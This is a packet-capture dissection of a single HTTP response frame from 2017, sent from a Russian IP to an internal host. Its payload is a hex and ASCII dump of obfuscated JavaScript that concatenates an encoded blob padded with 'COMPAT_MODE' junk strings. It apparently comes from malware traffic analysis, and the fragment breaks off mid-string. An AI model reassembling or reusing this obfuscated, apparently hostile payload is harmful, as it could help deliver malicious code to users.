Frame 164: Packet, 1328 bytes on wire (10624 bits), 1328 bytes captured (10624 bits) Encapsulation type: Ethernet (1) Arrival Time: Nov 21, 2017 01:00:43.371376000 UTC UTC Arrival Time: Nov 21, 2017 01:00:43.371376000 UTC Epoch Arrival Time: 1511226043.371376000 [Time shift for this packet: 0.000000000 seconds] [Time delta from previous captured frame: 924.000 microseconds] [Time since reference or first frame: 37.505636000 seconds] Frame Number: 164 Frame Length: 1328 bytes (10624 bits) Capture Length: 1328 bytes (10624 bits) [Frame is marked: False] [Frame is ignored: False] [Protocols in frame: eth:ethertype:ip:tcp:http:data] Character encoding: ASCII (0) Ethernet II, Src: Netgear_8d:2e:93 (74:44:01:8d:2e:93), Dst: HewlettPacka_d7:16:7c (00:1a:4b:d7:16:7c) Destination: HewlettPacka_d7:16:7c (00:1a:4b:d7:16:7c) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Source: Netgear_8d:2e:93 (74:44:01:8d:2e:93) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Type: IPv4 (0x0800) [Stream index: 0] Internet Protocol Version 4, Src: 109.120.150.110, Dst: 10.4.1.102 0100 .... = Version: 4 .... 0101 = Header Length: 20 bytes (5) Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT) 0000 00.. = Differentiated Services Codepoint: Default (0) .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0) Total Length: 1314 Identification: 0xc9a7 (51623) 000. .... = Flags: 0x0 0... .... = Reserved bit: Not set .0.. .... = Don't fragment: Not set ..0. .... = More fragments: Not set ...0 0000 0000 0000 = Fragment Offset: 0 Time to Live: 128 Protocol: TCP (6) Header Checksum: 0x5cde [validation disabled] [Header checksum status: Unverified] Source Address: 109.120.150.110 Destination Address: 10.4.1.102 [Source GeoIP: RU] [Source GeoIP Country: Russia] [Source or Destination GeoIP Country: Russia] [Source GeoIP ISO Two Letter Country Code: RU] [Source or Destination GeoIP ISO Two Letter Country Code: RU] [Source GeoIP Latitude: 55.7386] [Source or Destination GeoIP Latitude: 55.7386] [Source GeoIP Longitude: 37.6068] [Source or Destination GeoIP Longitude: 37.6068] [Stream index: 9] Transmission Control Protocol, Src Port: 80, Dst Port: 49161, Seq: 55267, Ack: 1678, Len: 1274 Source Port: 80 Destination Port: 49161 [Stream index: 4] [Stream Packet Number: 78] [Conversation completeness: Incomplete, DATA (15)] ..0. .... = RST: Absent ...0 .... = FIN: Absent .... 1... = Data: Present .... .1.. = ACK: Present .... ..1. = SYN-ACK: Present .... ...1 = SYN: Present [Completeness Flags: ··DASS] [TCP Segment Len: 1274] Sequence Number: 55267 (relative sequence number) Sequence Number (raw): 3620127682 [Next Sequence Number: 56541 (relative sequence number)] Acknowledgment Number: 1678 (relative ack number) Acknowledgment number (raw): 2557490690 0101 .... = Header Length: 20 bytes (5) Flags: 0x018 (PSH, ACK) 000. .... .... = Reserved: Not set ...0 .... .... = Accurate ECN: Not set .... 0... .... = Congestion Window Reduced: Not set .... .0.. .... = ECN-Echo: Not set .... ..0. .... = Urgent: Not set .... ...1 .... = Acknowledgment: Set .... .... 1... = Push: Set .... .... .0.. = Reset: Not set .... .... ..0. = Syn: Not set .... .... ...0 = Fin: Not set [TCP Flags: ·······AP···] Window: 64240 [Calculated window size: 64240] [Window size scaling factor: -2 (no window scaling used)] Checksum: 0xafca [unverified] [Checksum Status: Unverified] Urgent Pointer: 0 [Timestamps] [Time since first frame in this TCP stream: 1.152506000 seconds] [Time since previous frame in this TCP stream: 924.000 microseconds] [SEQ/ACK analysis] [iRTT: 184.943000 milliseconds] [Bytes in flight: 1274] [Bytes sent since last PSH flag: 1274] [Client Contiguous Streams: 1] [Server Contiguous Streams: 1] TCP payload (1274 bytes) Hypertext Transfer Protocol File Data: 1274 bytes Data (1274 bytes) 0000 52 27 3b 67 6f 78 65 2b 3d 27 6d 49 69 56 52 41 R';goxe+='mIiVRA 0010 56 48 4d 27 3b 67 6f 78 65 2b 3d 27 45 71 49 6b VHM';goxe+='EqIk 0020 65 2f 43 27 3b 67 6f 78 65 2b 3d 27 4f 4d 50 41 e/C';goxe+='OMPA 0030 54 5f 4d 27 3b 67 6f 78 65 2b 3d 27 4f 44 45 4a T_M';goxe+='ODEJ 0040 37 54 4f 56 48 73 27 3b 67 6f 78 65 2b 3d 27 48 7TOVHs';goxe+='H 0050 48 45 59 38 51 69 31 27 3b 67 6f 78 65 2b 3d 27 HEY8Qi1';goxe+=' 0060 68 45 4b 46 6a 27 3b 67 6f 78 65 2b 3d 27 72 68 hEKFj';goxe+='rh 0070 53 7a 38 51 68 32 4d 27 3b 67 6f 78 65 2b 3d 27 Sz8Qh2M';goxe+=' 0080 44 44 41 34 43 4f 27 3b 67 6f 78 65 2b 3d 27 4d DDA4CO';goxe+='M 0090 50 41 54 5f 27 3b 67 6f 78 65 2b 3d 27 4d 4f 44 PAT_';goxe+='MOD 00a0 45 37 62 27 3b 67 6f 78 65 2b 3d 27 45 2f 35 5a E7b';goxe+='E/5Z 00b0 64 7a 6a 27 3b 67 6f 78 65 2b 3d 27 70 46 4b 73 dzj';goxe+='pFKs 00c0 69 74 31 30 2b 42 27 3b 67 6f 78 65 2b 3d 27 34 it10+B';goxe+='4 00d0 7a 55 63 57 73 27 3b 67 6f 78 65 2b 3d 27 4c 53 zUcWs';goxe+='LS 00e0 78 44 43 4f 4d 50 41 54 27 3b 67 6f 78 65 2b 3d xDCOMPAT';goxe+= 00f0 27 5f 4d 4f 44 45 64 31 36 75 27 3b 67 6f 78 65 '_MODEd16u';goxe 0100 2b 3d 27 43 4b 63 50 46 27 3b 67 6f 78 65 2b 3d +='CKcPF';goxe+= 0110 27 30 2f 70 65 55 43 27 3b 67 6f 78 65 2b 3d 27 '0/peUC';goxe+=' 0120 68 35 56 57 77 50 35 52 45 62 27 3b 67 6f 78 65 h5VWwP5REb';goxe 0130 2b 3d 27 48 58 62 6b 4f 79 32 39 33 78 27 3b 67 +='HXbkOy293x';g 0140 6f 78 65 2b 3d 27 66 55 54 4e 50 76 7a 27 3b 67 oxe+='fUTNPvz';g 0150 6f 78 65 2b 3d 27 6a 69 63 4d 2f 5a 4b 69 2f 76 oxe+='jicM/ZKi/v 0160 27 3b 67 6f 78 65 2b 3d 27 33 2b 66 6a 4c 72 42 ';goxe+='3+fjLrB 0170 32 39 33 27 3b 67 6f 78 65 2b 3d 27 33 43 4f 4d 293';goxe+='3COM 0180 50 41 54 5f 27 3b 67 6f 78 65 2b 3d 27 4d 4f 44 PAT_';goxe+='MOD 0190 45 73 2f 66 36 69 31 27 3b 67 6f 78 65 2b 3d 27 Es/f6i1';goxe+=' 01a0 74 46 4a 79 2b 46 27 3b 67 6f 78 65 2b 3d 27 63 tFJy+F';goxe+='c 01b0 65 43 4f 4d 50 41 54 27 3b 67 6f 78 65 2b 3d 27 eCOMPAT';goxe+=' 01c0 5f 4d 4f 44 45 33 71 47 47 6e 27 3b 67 6f 78 65 _MODE3qGGn';goxe 01d0 2b 3d 27 68 54 77 44 37 30 27 3b 67 6f 78 65 2b +='hTwD70';goxe+ 01e0 3d 27 67 34 49 4c 45 67 37 2b 4b 27 3b 67 6f 78 ='g4ILEg7+K';gox 01f0 65 2b 3d 27 79 41 76 32 6c 75 35 27 3b 67 6f 78 e+='yAv2lu5';gox 0200 65 2b 3d 27 55 59 78 54 75 43 33 2f 27 3b 67 6f e+='UYxTuC3/';go 0210 78 65 2b 3d 27 67 30 74 32 5a 73 48 70 58 2b 27 xe+='g0t2ZsHpX+' 0220 3b 67 6f 78 65 2b 3d 27 46 38 43 44 6e 67 64 63 ;goxe+='F8CDngdc 0230 5a 27 3b 67 6f 78 65 2b 3d 27 6b 76 5a 6c 43 4f Z';goxe+='kvZlCO 0240 27 3b 67 6f 78 65 2b 3d 27 4d 50 41 54 5f 4d 4f ';goxe+='MPAT_MO 0250 44 45 27 3b 67 6f 78 65 2b 3d 27 59 48 36 6c 58 DE';goxe+='YH6lX 0260 78 59 44 76 27 3b 67 6f 78 65 2b 3d 27 6e 4e 65 xYDv';goxe+='nNe 0270 41 76 2f 4b 33 27 3b 67 6f 78 65 2b 3d 27 64 32 Av/K3';goxe+='d2 0280 78 4d 4a 79 68 71 74 56 27 3b 67 6f 78 65 2b 3d xMJyhqtV';goxe+= 0290 27 58 56 62 66 48 62 4d 2f 27 3b 67 6f 78 65 2b 'XVbfHbM/';goxe+ 02a0 3d 27 48 32 44 4e 35 69 4f 47 48 33 27 3b 67 6f ='H2DN5iOGH3';go 02b0 78 65 2b 3d 27 54 47 4e 79 78 69 63 58 27 3b 67 xe+='TGNyxicX';g 02c0 6f 78 65 2b 3d 27 52 48 4e 6e 32 4a 27 3b 67 6f oxe+='RHNn2J';go 02d0 78 65 2b 3d 27 4a 4a 31 33 58 68 58 63 46 71 27 xe+='JJ13XhXcFq' 02e0 3b 67 6f 78 65 2b 3d 27 55 7a 77 6c 6a 4e 32 4b ;goxe+='UzwljN2K 02f0 6e 50 27 3b 67 6f 78 65 2b 3d 27 65 54 2b 75 57 nP';goxe+='eT+uW 0300 27 3b 67 6f 78 65 2b 3d 27 6b 68 67 58 66 52 27 ';goxe+='khgXfR' 0310 3b 67 6f 78 65 2b 3d 27 53 68 4d 39 37 36 6a 27 ;goxe+='ShM976j' 0320 3b 67 6f 78 65 2b 3d 27 31 66 6e 70 66 44 57 65 ;goxe+='1fnpfDWe 0330 57 27 3b 67 6f 78 65 2b 3d 27 53 46 77 57 77 32 W';goxe+='SFwWw2 0340 4c 27 3b 67 6f 78 65 2b 3d 27 47 68 67 6c 79 2b L';goxe+='Ghgly+ 0350 6b 41 27 3b 67 6f 78 65 2b 3d 27 46 69 37 33 76 kA';goxe+='Fi73v 0360 46 70 27 3b 67 6f 78 65 2b 3d 27 55 52 6e 58 70 Fp';goxe+='URnXp 0370 27 3b 67 6f 78 65 2b 3d 27 58 66 62 37 35 55 6f ';goxe+='Xfb75Uo 0380 76 27 3b 67 6f 78 65 2b 3d 27 51 6c 45 46 33 27 v';goxe+='QlEF3' 0390 3b 67 6f 78 65 2b 3d 27 73 57 67 48 49 32 4b 4b ;goxe+='sWgHI2KK 03a0 4b 53 27 3b 67 6f 78 65 2b 3d 27 39 79 31 34 70 KS';goxe+='9y14p 03b0 48 27 3b 67 6f 78 65 2b 3d 27 49 31 4b 78 52 35 H';goxe+='I1KxR5 03c0 2b 4c 76 6c 27 3b 67 6f 78 65 2b 3d 27 65 56 41 +Lvl';goxe+='eVA 03d0 6f 71 27 3b 67 6f 78 65 2b 3d 27 49 2f 78 63 36 oq';goxe+='I/xc6 03e0 33 75 27 3b 67 6f 78 65 2b 3d 27 6c 63 72 55 36 3u';goxe+='lcrU6 03f0 77 27 3b 67 6f 78 65 2b 3d 27 4d 2f 2b 71 46 6f w';goxe+='M/+qFo 0400 63 31 6e 70 27 3b 67 6f 78 65 2b 3d 27 39 67 75 c1np';goxe+='9gu 0410 6c 48 27 3b 67 6f 78 65 2b 3d 27 33 6d 44 6f 31 lH';goxe+='3mDo1 0420 33 44 36 53 43 27 3b 67 6f 78 65 2b 3d 27 31 2f 3D6SC';goxe+='1/ 0430 5a 6a 59 27 3b 67 6f 78 65 2b 3d 27 43 4f 4d 50 ZjY';goxe+='COMP 0440 41 54 5f 4d 4f 27 3b 67 6f 78 65 2b 3d 27 44 45 AT_MO';goxe+='DE 0450 42 74 56 65 4d 45 4b 5a 27 3b 67 6f 78 65 2b 3d BtVeMEKZ';goxe+= 0460 27 37 31 31 57 51 27 3b 67 6f 78 65 2b 3d 27 44 '711WQ';goxe+='D 0470 75 46 64 48 77 43 4f 4d 50 27 3b 67 6f 78 65 2b uFdHwCOMP';goxe+ 0480 3d 27 41 54 5f 4d 4f 44 45 27 3b 67 6f 78 65 2b ='AT_MODE';goxe+ 0490 3d 27 45 43 67 4e 76 46 46 2f 27 3b 67 6f 78 65 ='ECgNvFF/';goxe 04a0 2b 3d 27 51 4a 56 48 74 58 27 3b 67 6f 78 65 2b +='QJVHtX';goxe+ 04b0 3d 27 35 70 32 4f 38 78 4d 72 27 3b 67 6f 78 65 ='5p2O8xMr';goxe 04c0 2b 3d 27 56 53 65 52 43 55 75 50 4c 27 3b 67 6f +='VSeRCUuPL';go 04d0 78 65 2b 3d 27 43 4f 4d 50 41 54 27 3b 67 6f 78 xe+='COMPAT';gox 04e0 65 2b 3d 27 5f 4d 4f 44 45 43 44 54 27 3b 67 6f e+='_MODECDT';go 04f0 78 65 2b 3d 27 74 69 4f 42 72 xe+='tiOBr Data […]: 52273b676f78652b3d276d496956524156484d273b676f78652b3d274571496b652f43273b676f78652b3d274f4d5041545f4d273b676f78652b3d274f44454a37544f564873273b676f78652b3d274848455938516931273b676f78652b3d2768454b466a273b676f78652b3d277268537 [Length: 1274]